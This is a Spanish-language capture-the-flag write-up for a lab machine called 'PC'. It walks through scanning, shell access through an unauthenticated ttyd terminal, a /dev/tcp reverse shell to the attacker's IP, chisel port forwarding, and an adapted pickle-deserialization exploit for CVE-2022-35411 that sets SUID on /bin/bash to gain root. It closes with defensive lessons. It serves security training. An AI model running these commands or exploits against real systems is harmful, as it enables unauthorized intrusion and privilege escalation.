PC
La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.
TL;DR. PC expone en el 8000 un ttyd, un terminal web sin autenticación: abrirlo ya nos da una shell comouser. En local correrpc.pycomorootescuchando en127.0.0.1:65432; es la versión 0.6.0, vulnerable a CVE-2022-35411 (RCE por deserialización de pickle). Reenviamos el puerto conchisel(port forwarding) y lanzamos el exploit (pickle RCE) con un payload que hace SUID a/bin/bash; unbash -p(abuso de SUID) daroot.
Reconocimiento
Escaneo inicial
TTL 61 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 61 = 64−3; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios.
ping -c 1 192.168.190.21064 bytes from 192.168.190.210: icmp_seq=1 ttl=61 time=30.7 msBarremos todos los puertos TCP y luego identificamos versiones:
sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.190.210PORT STATE SERVICE
22/tcp open ssh
8000/tcp open httpnmap -p22,8000 -sCV 192.168.190.210 -oN targetedScanPORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
8000/tcp open http ttyd 1.7.3-a2312cb (libwebsockets 3.2.0)
|_http-title: ttyd - TerminalSolo SSH y, en el 8000, un ttyd: un servidor que publica un terminal de la máquina a través del navegador (por WebSocket). Si está expuesto sin autenticación, es directamente una shell.
Acceso inicial
ttyd: terminal web sin autenticación
Abrimos http://192.168.190.210:8000 y nos encontramos una terminal interactiva ya logueada como user:
id
ip a
uid=1000(user) gid=1000(user) groups=1000(user)Para trabajar más cómodos (y porque ttyd puede ser inestable), lanzamos una reverse shell hacia nuestro equipo:
Antes de disparar la shell, dejamos un nc a la escucha:
penelope 8000bash -i >& /dev/tcp/192.168.45.196/8000 0>&1
(Penelope)> listeners add -p 8000
[+] Got reverse shell from pc~192.168.190.210-Linux-x86_64 Assigned SessionID <1>
[+] Shell upgraded successfully using /usr/bin/python3!
user@pc:/home/user$ whoami
userEscalada de privilegios
rpc.py 0.6.0 en local: CVE-2022-35411
Enumerando procesos y puertos vemos un servicio interesante: rpc.py corriendo como root y escuchando solo en localhost:
ps aux | grep root
cat /opt/rpc.py
netstat -tulnroot 1050 python3 /opt/rpc.py
...
uvicorn.run(app, interface="asgi3", port=65432)
tcp 0 0 127.0.0.1:65432 0.0.0.0:* LISTENrpc.py 0.6.0 es vulnerable a CVE-2022-35411: el servidor elige el deserializador según la cabecera serializer, y al pedirle pickle deserializa con pickle.loads() lo que enviemos, ejecutando código (deserialización de pickle). El servicio solo escucha en 127.0.0.1, así que primero hay que alcanzarlo desde fuera.
Reenvío de puertos con chisel
Subimos chisel (repo) a la víctima y montamos un túnel inverso para exponer su 65432 en nuestra máquina (port forwarding). Primero se descarga el binario ya compilado de las releases del proyecto (viene comprimido en .gz) y se sirve por HTTP:
# en el atacante:
wget https://github.com/jpillora/chisel/releases/download/v1.7.7/chisel_1.7.7_linux_amd64.gz
gunzip chisel_1.7.7_linux_amd64.gz
ls
python3 -m http.server 80
chisel_1.7.7_linux_amd64 reports
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...En la víctima se descarga a /dev/shm (un tmpfs en memoria, escribible por cualquiera y que no deja rastro en disco) y se le da permiso de ejecución:
# en la victima:
wget http://192.168.45.196/chisel_1.7.7_linux_amd64
chmod +x chisel_1.7.7_linux_amd64
user@pc:/dev/shm$ wget http://192.168.45.196/chisel_1.7.7_linux_amd64
HTTP request sent, awaiting response... 200 OK
Length: 8077312 (7.7M) [application/octet-stream]
Saving to: 'chisel_1.7.7_linux_amd64'
'chisel_1.7.7_linux_amd64' saved [8077312/8077312]En nuestro equipo se renombra el binario a chisel (por comodidad, a ambos lados) y se levanta el lado servidor con --reverse, que es lo que autoriza a los clientes a abrir túneles en sentido inverso:
# en el atacante:
mv chisel_1.7.7_linux_amd64 chisel
chmod +x chisel
./chisel server --reverse -p 1234
2026/01/08 20:36:52 server: Reverse tunnelling enabled
2026/01/08 20:36:52 server: Fingerprint md7kzYM26jjSq5QEsvchydjlgNcTGlN9xvAP88NcOWo=
2026/01/08 20:36:52 server: Listening on http://0.0.0.0:1234Y desde la víctima se conecta el cliente pidiendo el remoto R:65432, es decir: "abre en el servidor un 65432 que salga por mi 127.0.0.1:65432":
# en la victima:
./chisel client 192.168.45.196:1234 R:65432
user@pc:/dev/shm$ ./chisel client 192.168.45.196:1234 R:65432
2026/01/08 20:38:55 client: Connecting to ws://192.168.45.196:1234
2026/01/08 20:38:55 client: Connected (Latency 33.279669ms)Con el túnel, el 127.0.0.1:65432 de la víctima queda accesible en nuestro 127.0.0.1:65432.
Exploit: pickle RCE a root
Traemos el exploit público (50983.py, CVE-2022-35411) y lo ajustamos para que apunte a 127.0.0.1:65432, con la cabecera serializer: pickle, y ejecute un payload que ponga el bit SUID a /bin/bash:
HOST = "127.0.0.1:65432"
URL = f"http://{HOST}/sayhi"
HEADERS = {"serializer": "pickle"}
...
exec_command('chmod u+s /bin/bash')python3 rpc_exp.py
b'\x80\x04\x95.\x00\x00\x00\x00\x00\x00\x00\x8c\x05posix\x94\x8c\x06system\x94\x93\x94\x8c\x13chmod u+s /bin/bash\x94\x85\x94R\x94.'El payload es un objeto pickle que, al deserializarse en el servidor (como root), ejecuta chmod u+s /bin/bash. Comprobamos el bit SUID y abrimos una shell que conserva el euid de root (abuso de SUID):
ls -l /bin/bash
bash -p
whoami
-rwsr-xr-x 1 root root 1183448 Apr 18 2022 /bin/bash
rootCon la shell de root leemos las pruebas (local.txt en el home de user y proof.txt en /root).
Cadena de ataque
ttyd (8000) -- terminal web sin auth
│ shell directa -> reverse shell
▼
shell como user
│ rpc.py 0.6.0 como root en 127.0.0.1:65432 (CVE-2022-35411)
│ chisel R:65432 (port forwarding) -> exploit pickle -> chmod u+s /bin/bash
▼
shell como root (bash -p)Lecciones aprendidas
- Un terminal web expuesto es una puerta abierta.
ttydsin autenticación publica una shell de la máquina en el navegador; nunca debería estar accesible sin control de acceso (y mucho menos en una interfaz pública). picklees ejecución de código, no un formato de datos. Deserializar pickle de origen no confiable permite RCE;rpc.py0.6.0 lo expone por diseño al aceptar la cabeceraserializer: pickle(CVE-2022-35411).- "Solo escucha en localhost" no es una defensa frente a un atacante con shell. Un servicio interno se alcanza con un reenvío de puertos (
chisel); enlazar a127.0.0.1reduce la superficie externa, pero no protege una vez dentro. - El patrón SUID +
bash -pcierra muchas privesc. Si conseguimos ejecutar algo comoroot, hacer SUID a/bin/bashy abrirbash -pes la vía más directa a una shell privilegiada.